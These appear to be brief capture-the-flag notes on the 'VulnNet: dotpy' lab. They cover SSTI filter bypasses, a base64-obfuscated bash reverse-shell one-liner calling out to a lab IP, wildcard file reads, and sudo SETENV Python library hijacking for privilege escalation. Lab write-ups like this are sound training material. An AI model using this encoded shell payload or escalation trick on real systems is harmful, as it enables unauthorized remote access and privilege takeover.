- Completed VulnNet: dotpy
- Learned about SSTI filter bypasses
- Also, don't underestimate the power of encoding your commands
echo%20YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC43OC84MCAwPiYx|base64%20-d|bash
- This was the command used to get the reverse shell
- Sometimes, if there are files with extensions, (eg: flag.txt) but the '.' character (period sign) is blocked, try using the wildcard character '*'
cat flag*
- This will cat out all the files that starts with 'flag'. So automatically, the flag.txt file will also be printed.
- Python Library hijacking
-
Using SETENV

- If we are allowed to SETENV using SUDO, we may be able to escalate privileges.
- Python uses a set directory order in which it searches for the modules when importing them.
- We can use SETENV to change the PYTHONPATH variable to something like
/dev/shm where we can put a malicious file with the name of the imported module (eg: sys.py, requests.py, etc)
- To change the PYTHONPATH and execute, we can use
sudo PYTHONPATH=/dev/shm /usr/bin/python3 /opt/backup.py